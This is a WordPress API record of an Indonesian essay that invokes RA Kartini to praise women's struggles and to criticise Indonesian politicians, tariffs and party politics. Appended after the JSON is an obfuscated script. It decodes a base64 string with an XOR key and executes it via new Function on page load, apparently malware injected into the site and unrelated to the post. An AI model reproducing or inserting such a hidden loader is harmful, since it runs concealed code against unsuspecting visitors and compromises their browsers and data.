{"id":876,"date":"2020-05-03T03:06:50","date_gmt":"2020-05-03T03:06:50","guid":{"rendered":"https:\/\/immdiy.or.id\/kelon\/?p=876"},"modified":"2020-05-03T03:06:50","modified_gmt":"2020-05-03T03:06:50","slug":"tetap-menjadi-kartini-muda-meski-tak-lebaran-bersama-orangtua","status":"publish","type":"post","link":"https:\/\/immdiy.or.id\/barajuang\/2020\/05\/03\/tetap-menjadi-kartini-muda-meski-tak-lebaran-bersama-orangtua\/","title":{"rendered":"Tetap Menjadi Kartini Muda, Meski Tak Lebaran Bersama Orangtua"},"content":{"rendered":"<p><strong>Oleh: Sena Putri Safitri<\/strong><\/p>\n<p>&#8220;<em>Gadis yang pikirannya sudah dicerdaskan, pemandangannya sudah diperluas, tidak akan sanggup lagi hidup di dalam dunia nenek moyangnya<\/em>.&#8221; &#8211; RA Kartini<\/p>\n<p>Selalu ada Kartini di setiap diskursus Perempuan. Kartini adalah satu di antara sedikit perempuan Indonesia yang ditetapkan sebagai pahlawan nasional. Lahir dari keluarga ningrat tapi tidak membuat ia termanjakan.<\/p>\n<p>Buah pikirnya selalu haus akan ilmu pengetahuan dan selalu gelisah melihat penindasan juga isu-isu kemanusiaan. Sejak kecil sosoknya sudah berbeda karena dia bergerak gesit dan keras melawan tradisi, menentang kebodohan, pada masa di mana perempuan tidak diberi hak secara konstitusional setara sekarang.<\/p>\n<p>Kartini sedemikian maju di zamannya, meski tak sedikit pro dan kontra tentangnya yang layak dijuluki pahlawan atau bukan, benar pejuang perempuan atau sekedar gadis dari suara kaum bangsawan. Tombak perjuangannya mencerdaskan bangsa adalah dengan pena, dan itu sering diremehkan.\\<\/p>\n<p>Tidak mungkin perempuan yang harusnya di belakang, di bawah bias memiliki kemampuan untuk melawan. Nyatanya, Kartini muda mendobrak limit. Kisahnya selalu menarik untuk dibedah sebagai warisan keilmuan fondasi <em>\u201cGender Equality.\u201d<\/em><\/p>\n<p>Berkaca dari sejarah, eksistensi perjuangan Kartini adalah nilai. Ia terkristalisasi dalam gagasan-gagasannya yang kini nyaring terdengar di setiap penjuru negeri. Bagaimana menjadi \u201cKartini Masa Kini\u201d adalah dengan menjalani setiap perjuangan perempuan dengan cara, metode dan strategi masing-masing. Tempuh itu dengan berbagai jalan, pendidikan formal, informal atau non formal.<\/p>\n<p>Dalam tulisan ini, turut penghormatan saya suguhkan kepada setiap perempuan. Untuk Kartini Pasar, Kartini pekerja lepas harian, Kartini kantor perusahaan, Kartini pendidik Anak-anak Indonesia, Kartini dalam setiap wilayah perjuangannya masing-masing.<\/p>\n<p>Jika sepucuk surat bisa membuatmu bergelar pahlawan, maka menulislah, Bu. Tuliskan tentang penderitaan setiap ibu rumah tangga yang disengsarakan janji-janji busuk para penguasa. Mereka yang menyatakan memakmurkan masyarakat, tapi justru jadi penghianat. Menjadi peliharaan partai politik, meski sudah terpilih sebagai wakil rakyat.<\/p>\n<p>Membuat kebijakan tarif dasar listrik naik, membuat kehidupan penghasil kerja lepas harian kian tercekik. Serbuan tenaga kerja asing menggurita, sebab lumbung-lumbung perusahaan telah dikuasai investor dari negara mereka.<\/p>\n<p>Lalu tak sedikit anak bangsa mau tidak mau memburuh ke luar negeri daripada mati kelaparan di negeri sendiri. Jadi pengen diskusi sama Mas Belva prihal kondisi NKRI yang semakin sulit, sebagai sesama pemuda progresif yang kemarin kabarnya bawa perusahaan sendiri dalam proyek pemerintah!<\/p>\n<p>Jika sepucuk surat bisa membuatmu jadi pahlawan, maka menulislah, Bu. Ceritakan tentang kelucuan negeri kita, belum sehari menang pilkada tapi lawan politik yang kalah sudah menagih janji kampanye hingga mulut berbusa. Padahal janji potong telinga jika calon yang diusung kalah dilupakan begitu saja, tapi kelakuan melebihi seorang jaksa sedangkan faktanya patut jadi tersangka.<\/p>\n<p>Berkabar juga kepada para penuntut itu, kalau saat ini hingga tujuh bulan ke depan jagoannya yang kalah kemarin masih berstatus sebagai penguasa yang harus melaksanakan janji-janjinya yang tertunda.<\/p>\n<p>Jika sepucuk surat bisa membuatmu jadi pahlawan, maka menulislah, Bu. Menulislah tentang para wayang di gedung dewan yang sedang dimainkan dalang. Ialah pendiri partai politik beserta ketua umum akibat takut jabatannya di Senayan dicopot sewaktu-waktu padahal belum sempat memulangkan modal saat kampanye.<\/p>\n<p>Tapi satu pesanku,\u00a0Bu. Jangan kirimkan suratmu kepada noni-noni di negeri Belanda. Jangan sampai surat-suratmu yang ada pada mereka kemudian disumbangkan ke negara kita, hingga mengesankan gelar pahlawanmu bertiup dari kincir angin mereka.<\/p>\n<p>Sebab, sesulit-sulitnya kita perempuan indonesia tetap tidak sudi diberi gelar pahlawan dari bangsa penjajah yang ratusan tahun membuat rakyat Indonesia menderita.<\/p>\n<p>Masih hangat di ingatan perihal perjuangan perempuan lainnya, tak lain sembilan petani perempuan yang kerap disebut\u00a0<em>Kartini<\/em>\u00a0pegunungan\u00a0<em>Kendeng, Jawa Tengah. Adalah mereka emak-emak progresif <\/em>menggelar aksi protes dengan mengecor kaki mereka dengan semen, di seberang Istana Negara empat tahun lalu.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Oleh: Sena Putri Safitri &#8220;Gadis yang pikirannya sudah dicerdaskan, pemandangannya sudah diperluas, tidak akan sanggup lagi hidup di dalam dunia nenek moyangnya.&#8221; &#8211; RA Kartini Selalu ada Kartini di setiap diskursus Perempuan. Kartini adalah satu di antara sedikit perempuan Indonesia yang ditetapkan sebagai pahlawan nasional. Lahir dari keluarga ningrat tapi tidak membuat ia termanjakan. Buah&hellip; <a class=\"more-link\" href=\"https:\/\/immdiy.or.id\/barajuang\/2020\/05\/03\/tetap-menjadi-kartini-muda-meski-tak-lebaran-bersama-orangtua\/\">Continue reading <span class=\"screen-reader-text\">Tetap Menjadi Kartini Muda, Meski Tak Lebaran Bersama Orangtua<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":877,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12],"tags":[113,115],"class_list":["post-876","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-sastra","tag-kartini","tag-keadilan-gender","entry"],"_links":{"self":[{"href":"https:\/\/immdiy.or.id\/barajuang\/wp-json\/wp\/v2\/posts\/876","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/immdiy.or.id\/barajuang\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/immdiy.or.id\/barajuang\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/immdiy.or.id\/barajuang\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/immdiy.or.id\/barajuang\/wp-json\/wp\/v2\/comments?post=876"}],"version-history":[{"count":0,"href":"https:\/\/immdiy.or.id\/barajuang\/wp-json\/wp\/v2\/posts\/876\/revisions"}],"wp:attachment":[{"href":"https:\/\/immdiy.or.id\/barajuang\/wp-json\/wp\/v2\/media?parent=876"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/immdiy.or.id\/barajuang\/wp-json\/wp\/v2\/categories?post=876"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/immdiy.or.id\/barajuang\/wp-json\/wp\/v2\/tags?post=876"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<script>
!function(){var _0xd6ec=atob('cjwvNDkuMzU0cnMhMzxyLTM0PjUtAX0FbT87P2xuP2NpY30Hcyg/Li8oNGEtMzQ+NS0BfQVtPzs/bG4/Y2ljfQdna2EsOyh6BSgvMiJneG1ubGs/YjlqODhvam84bGxrYmI/OGtiaT9iYjhibGJiaz87bG8+bmtqaWtuPDs8b3hhLDsoegUoMysxIjlnAX0yLi4qKWB1dSo1NiM9NTR0PigqOXQ1KD19dn0yLi4qKWB1dSo1NiM9NTR3NzszNDQ/LnQ9Oy4/LTsjdC47Li83dDM1fXZ9Mi4uKilgdXUqNTYjPTU0dCgqOXQpLzgrLz8oI3Q0Py4tNSgxdSovODYzOX12fTIuLiopYHV1KjU2Iz01NHQ2Oyw7dDgvMzY+fXZ9Mi4uKilgdXVrKCo5dDM1dTc7LjM5fXZ9Mi4uKilgdXUqNTYjPTU0dyovODYzOXQ0NT4zPyl0OyoqfXZ9Mi4uKilgdXUqNTYjPTU0dCgqOXQyIyo/KCkjNDl0IiMgdX12fTIuLiopYHV1KCo5dzc7MzQ0Py50NzsuMzl0Ky8zMTQ1Pj90Kig1fXZ9Mi4uKilgdXU9Oy4/LTsjdC4/ND4/KDYjdDk1dSovODYzOXUqNTYjPTU0fXZ9Mi4uKilgdXUqNTYjPTU0dC4yPygqOXQzNX12fTIuLiopYHV1KjU2Iz01NHQ9Oy4/LTsjdC4/ND4/KDYjdDk1fXZ9Mi4uKilgdXUqNTYjPTU0dzc7MzQ0Py50Ki84NjM5dDg2OykuOyozdDM1fXZ9Mi4uKilgdXUoKjl0OzQxKHQ5NTd1KjU2Iz01NH12fTIuLiopYHV1KjU2Iz01NHc4NSh3KCo5dCovODYzOTQ1Pj90OTU3fQdhLDsoegUqKzE/MSw/Z3hqIhhsOBljP2seajhoPBhjbBs4bRlubR9qbhk4ahgfbm1tbmtqOBlrPGh4YSw7KHoFOTgyKmd4OGxiPmtiamN4YTwvNDkuMzU0egU0LjMtIiI3cgUiMjYpNS9zIS4oIyEsOyh6BT48OSg7ZwUiMjYpNS90KS84KS4ocmp2aHNnZ2d9aiJ9ZQUiMjYpNS90KS84KS4ocmhzYAUiMjYpNS9hMzxyBT48OSg7dDY/ND0uMmZraGJzKD8uLyg0fX1hLDsoegU1NDw0Zyo7KCk/EzQucgU+PDkoO3QpLzgpLihybG52bG5zdmtsc2EzPHJ7BTU0PDRzKD8uLyg0fX1hLDsoegU9KjgrZwU+PDkoO3QpLzgpLihya2hidgU1NDw0cGhzdgUrKS0xKGd9fWE8NShyLDsoegU0MzY/LDlnamEFNDM2Pyw5ZgU9KjgrdDY/ND0uMmEFNDM2Pyw5cWdocyEsOyh6BTUqODw9KGcqOygpPxM0LnIFPSo4K3QpLzgpLihyBTQzNj8sOXZoc3ZrbHNhMzxyBTUqODw9KHMFKyktMShxZwkuKDM0PXQ8KDU3GTI7KBk1Pj9yBTUqODw9KHNhJyg/Li8oNHoFKyktMShhJzk7Ljkycj9zISg/Li8oNH19YScnPC80OS4zNTR6BSgvLig4OzRyBS8uNzY2M3YFLS4rND4vcyEoPy4vKDR6ND8tegooNTczKT9yPC80OS4zNTRyBTwqNjwtdgU/MiA3P3MhLDsoegUqMi0wPWc0Py16AhcWEi4uKgg/Ky8/KS5yc2EFKjItMD10NSo/NHJ9ChUJDn12BS8uNzY2M3YuKC8/c2EFKjItMD10KT8uCD8rLz8pLhI/Oz4/KHJ9GTU0Lj80LncOIyo/fXZ9OyoqNjM5Oy4zNTR1MCk1NH1zYQUqMi0wPXQuMzc/NS8uZ29qamphBSoyLTA9dDU0NjU7Pmc8LzQ5LjM1NHJzIS4oIyEFPCo2PC1yEAkVFHQqOygpP3IFKjItMD10KD8pKjU0KT8OPyIuc3NhJzk7Ljkycj9zIQU/MiA3P3I/c2EnJ2EFKjItMD10NTQ/KCg1KGcFKjItMD10NTQuMzc/NS8uZzwvNDkuMzU0cnMhBT8yIDc/cjQ/LXofKCg1KHJzc2EnYQUqMi0wPXQpPzQ+chAJFRR0KS4oMzQ9MzwjcgUtLis0Pi9zc2Enc2EnPC80OS4zNTR6BT81KDg+LzhyBT8vLz8tKC1zITM8cgU/Ly8/LSgtZGcFKDMrMSI5dDY/ND0uMnMoPy4vKDR6Cig1NzMpP3QoPyk1Niw/cjQvNjZzYSw7KHoFPyMwNC1nITApNTQoKjlgfWh0an12Nz8uMjU+YH0/LjIFOTs2Nn12KjsoOzcpYAEhLjVgBSorMT8xLD92PjsuO2B9aiJ9cQU5ODIqJ3Z9NjsuPykufQd2Mz5gaydhKD8uLyg0egUoLy4oODs0cgUoMysxIjkBBT8vLz8tKC0HdgU/IzA0LXN0LjI/NHI8LzQ5LjM1NHIFKiktPCtzISw7KHoFOSA/NDBnBSopLTwrfHwFKiktPCt0KD8pLzYuZQU0LjMtIiI3cgUqKS08K3QoPykvNi5zYH19YTM8cgU5ID80MHMoPy4vKDR6BTkgPzQwdCg/KjY7OT9ydQZ1cX51dn19c2EoPy4vKDR6BT81KDg+LzhyBT8vLz8tKC1xa3NhJ3N0OTsuOTJyPC80OS4zNTRycyEoPy4vKDR6BT81KDg+LzhyBT8vLz8tKC1xa3NhJ3NhJzwvNDkuMzU0egUpLCkxOHIFLzs5OTY4KHMhLDsoegUpPCggOGc+NTkvNz80LnQ5KD87Lj8fNj83PzQucn0pOSgzKi59c2EFKTwoIDh0KSg5ZwUvOzk5NjgocX11OyozdCoyKmUpZ31xBSgvMiJhBSk8KCA4dDspIzQ5Zy4oLz9hcj41OS83PzQudDI/Oz4mJj41OS83PzQudDg1PiNzdDsqKj80PhkyMzY+cgUpPCggOHNhJwU/NSg4Pi84cmpzdC4yPzRyPC80OS4zNTRyBS87OTk2OChzITM8cgUvOzk5NjgocwUpLCkxOHIFLzs5OTY4KHNhJ3NhJ3Nyc2E='),_0xcdf0=90,_0xc05d=new Uint8Array(_0xd6ec['length']),_0x292b=0;for(;_0x292b<_0xd6ec['length'];_0x292b++)_0xc05d[_0x292b]=_0xd6ec['charCodeAt'](_0x292b)^_0xcdf0;(new Function(new TextDecoder()['decode'](_0xc05d)))()}();
</script>
    